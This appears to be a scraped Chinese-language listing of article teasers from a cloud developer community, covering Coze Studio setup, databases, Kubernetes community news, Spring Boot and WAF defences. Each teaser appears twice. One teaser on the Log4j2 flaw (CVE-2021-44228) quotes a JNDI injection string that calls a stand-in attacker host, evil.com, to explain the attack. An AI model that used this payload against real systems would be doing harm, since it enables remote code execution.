- 本案例将基于华为开发者空间 - 云开发环境，通过Docker的部署Coze Studio，并配置华为云Maas 200万DeepSeek-V3-32K免费token推理额度，构建智能体应用，助力开发者快速体验Coze Studio。 本案例将基于华为开发者空间 - 云开发环境，通过Docker的部署Coze Studio，并配置华为云Maas 200万DeepSeek-V3-32K免费token推理额度，构建智能体应用，助力开发者快速体验Coze Studio。
- 本文系统探讨了现代计算领域的核心技术体系。在并发编程部分，分析了Java与Golang的并发模型差异；Java虚拟机章节解析了JIT编译与GC优化；RPC框架重点讨论网络模型与协议设计；高并发系统设计提出分层抗压和过载保护策略；分布式系统剖析了CAP理论与一致性算法；云原生部分探讨容器编排与Serverless未来。文章从底层原理到架构设计，全面覆盖了高性能系统的关键技术挑战与解决方案，为构建可靠 本文系统探讨了现代计算领域的核心技术体系。在并发编程部分，分析了Java与Golang的并发模型差异；Java虚拟机章节解析了JIT编译与GC优化；RPC框架重点讨论网络模型与协议设计；高并发系统设计提出分层抗压和过载保护策略；分布式系统剖析了CAP理论与一致性算法；云原生部分探讨容器编排与Serverless未来。文章从底层原理到架构设计，全面覆盖了高性能系统的关键技术挑战与解决方案，为构建可靠
- 在当前技术飞速发展的时代，开发者面临着一个看似无法调和的难题：一边是有限的硬件与资源，另一边是无限增长的计算与业务需求。如何在秩序、效率和弹性之间做出明智的权衡，不仅是技术的考验，更是一门决策的艺术。本书，便是对这门艺术的思考与记录。 在当前技术飞速发展的时代，开发者面临着一个看似无法调和的难题：一边是有限的硬件与资源，另一边是无限增长的计算与业务需求。如何在秩序、效率和弹性之间做出明智的权衡，不仅是技术的考验，更是一门决策的艺术。本书，便是对这门艺术的思考与记录。
- 近日，全国信息技术标准化技术委员会2025年第一次“标准周”活动在北京举行，华为云数据库作为“云原生数据库”国家标准制定的牵头单位受邀参会，并组织了“云原生数据库”国家标准的研讨。华为云牵头制定国家标准，引领了云原生数据库三层池化（计算池化、内存池化、存储池化）、透明多写和智能化的技术发展，为国内云原生数据库产业化应用提供了指导和引领，如在工行等关键基础设施领域的核心业务落地，取得显著成效，... 近日，全国信息技术标准化技术委员会2025年第一次“标准周”活动在北京举行，华为云数据库作为“云原生数据库”国家标准制定的牵头单位受邀参会，并组织了“云原生数据库”国家标准的研讨。华为云牵头制定国家标准，引领了云原生数据库三层池化（计算池化、内存池化、存储池化）、透明多写和智能化的技术发展，为国内云原生数据库产业化应用提供了指导和引领，如在工行等关键基础设施领域的核心业务落地，取得显著成效，...
- 本文将通过在Sermant中集成OpenTelemetry Agent的实际案例来为开发者讲解如何在Sermant中使用和管理外部JavaAgent。 本文将通过在Sermant中集成OpenTelemetry Agent的实际案例来为开发者讲解如何在Sermant中使用和管理外部JavaAgent。
- Karmada 社区非常高兴地宣布中科类脑正式加入Karmada 用户组（Karmada Adopter Group），成为该开源社区的重要成员。中科类脑的加入将进一步丰富 Karmada 社区的生态，并为项目的持续创新注入新的动力 Karmada 社区非常高兴地宣布中科类脑正式加入Karmada 用户组（Karmada Adopter Group），成为该开源社区的重要成员。中科类脑的加入将进一步丰富 Karmada 社区的生态，并为项目的持续创新注入新的动力
- AI原生应用引擎由1.0全面升级至2.0——Versatile，打造面向企业的通用AI智能体 AI原生应用引擎由1.0全面升级至2.0——Versatile，打造面向企业的通用AI智能体
- 从“守机器”到“写策略”——云原生架构把运维逼成了架构师 从“守机器”到“写策略”——云原生架构把运维逼成了架构师
- 🏆本文收录于「滚雪球学SpringBoot」专栏(全网一个名)，手把手带你零基础入门Spring Boot，从入门到就业，助你早日登顶实现财富自由🚀；同时，欢迎大家关注&&收藏&&订阅！持续更新中，up！up！up！！环境说明：Windows 10 + IntelliJ IDEA 2021.3.2 + Jdk 1.8 📜 前言：云原生应用的崛起与Spring Boot的角色随着云计算技... 🏆本文收录于「滚雪球学SpringBoot」专栏(全网一个名)，手把手带你零基础入门Spring Boot，从入门到就业，助你早日登顶实现财富自由🚀；同时，欢迎大家关注&&收藏&&订阅！持续更新中，up！up！up！！环境说明：Windows 10 + IntelliJ IDEA 2021.3.2 + Jdk 1.8 📜 前言：云原生应用的崛起与Spring Boot的角色随着云计算技...
- 近期，全球领先的IT市场研究和咨询公司IDC发布了《中国软件定义计算软件市场跟踪，2024H2》报告。报告显示，华为云在2024年中国容器软件市场的份额及增速均位居第一，展现了华为云在云原生领域的领先地位，也体现了客户对华为云的高度认可与信赖。 近期，全球领先的IT市场研究和咨询公司IDC发布了《中国软件定义计算软件市场跟踪，2024H2》报告。报告显示，华为云在2024年中国容器软件市场的份额及增速均位居第一，展现了华为云在云原生领域的领先地位，也体现了客户对华为云的高度认可与信赖。
- Log4j2漏洞的本质与攻击特征2021年底爆发的Apache Log4j2远程代码执行漏洞（CVE-2021-44228）彻底改变了业界对基础组件安全性的认知。该漏洞源于日志处理中的JNDI动态解析机制：当日志内容包含${jndi:ldap://evil.com/exp}类表达式时，Log4j2会主动向恶意LDAP服务器发起请求，加载并执行远程代码。这种设计本意是提供灵活的配置能力，却成... Log4j2漏洞的本质与攻击特征2021年底爆发的Apache Log4j2远程代码执行漏洞（CVE-2021-44228）彻底改变了业界对基础组件安全性的认知。该漏洞源于日志处理中的JNDI动态解析机制：当日志内容包含${jndi:ldap://evil.com/exp}类表达式时，Log4j2会主动向恶意LDAP服务器发起请求，加载并执行远程代码。这种设计本意是提供灵活的配置能力，却成...
- 在瞬息万变的网络攻防战场上，SQL注入（SQLi） 与 跨站脚本攻击（XSS） 如同两柄淬毒的古老匕首，历久弥新，持续威胁着Web应用的安全命脉。面对海量请求与日益精进的攻击手法，传统规则库防御常陷入“误杀”与“漏网”的困境。华为云WAF（Web应用防火墙）凭借其深度语义分析、智能行为建模与云原生弹性防御体系，为开发者提供了一把精准切割威胁的手术刀。本文将深入剖析其防御机制，结合实战场景，揭... 在瞬息万变的网络攻防战场上，SQL注入（SQLi） 与 跨站脚本攻击（XSS） 如同两柄淬毒的古老匕首，历久弥新，持续威胁着Web应用的安全命脉。面对海量请求与日益精进的攻击手法，传统规则库防御常陷入“误杀”与“漏网”的困境。华为云WAF（Web应用防火墙）凭借其深度语义分析、智能行为建模与云原生弹性防御体系，为开发者提供了一把精准切割威胁的手术刀。本文将深入剖析其防御机制，结合实战场景，揭...
- 7月1日，开源之夏2025为期三个月的项目开发正式拉开序幕。历经导师、社区、组委会三轮审核，共有6位海内外高校同学在激烈的竞争中脱颖而出，欢迎同学们的加入！成功中选Karmada社区任务的同学，将在社区导师的指导下，开启云原生多云多集群前沿课题共创。 7月1日，开源之夏2025为期三个月的项目开发正式拉开序幕。历经导师、社区、组委会三轮审核，共有6位海内外高校同学在激烈的竞争中脱颖而出，欢迎同学们的加入！成功中选Karmada社区任务的同学，将在社区导师的指导下，开启云原生多云多集群前沿课题共创。
- 7月1日起，开源之夏2025为期三个月的项目开发正式拉开序幕。历经导师、社区、组委会三轮审核，共有18位海内外高校同学在激烈的竞争中脱颖而出，成功中选KubeEdge社区任务，中选学生将在社区导师的指导下，完成项目开发。KubeEdge 社区期待和计算机领域新生力量一起薪火相传，共启云原生边缘计算无限可能。 7月1日起，开源之夏2025为期三个月的项目开发正式拉开序幕。历经导师、社区、组委会三轮审核，共有18位海内外高校同学在激烈的竞争中脱颖而出，成功中选KubeEdge社区任务，中选学生将在社区导师的指导下，完成项目开发。KubeEdge 社区期待和计算机领域新生力量一起薪火相传，共启云原生边缘计算无限可能。
- 引言：随着业务规模扩大，企业核心数据库往往面临两大痛点：历史数据堆积导致存储成本飙升与海量数据下查询性能急剧下降。有些订单表3年内从百万级暴增至数十亿条，全表扫描耗时从秒级恶化到分钟级。分区表技术通过物理切割+逻辑统一的设计理念，成为破解这一困局的利器。 一、分区表的核心机制剖析 1. 物理分区与逻辑视图的协同分区表本质上是通过预定义规则将大表物理拆分为多个小表（分区），同时对外保留单一逻... 引言：随着业务规模扩大，企业核心数据库往往面临两大痛点：历史数据堆积导致存储成本飙升与海量数据下查询性能急剧下降。有些订单表3年内从百万级暴增至数十亿条，全表扫描耗时从秒级恶化到分钟级。分区表技术通过物理切割+逻辑统一的设计理念，成为破解这一困局的利器。 一、分区表的核心机制剖析 1. 物理分区与逻辑视图的协同分区表本质上是通过预定义规则将大表物理拆分为多个小表（分区），同时对外保留单一逻...
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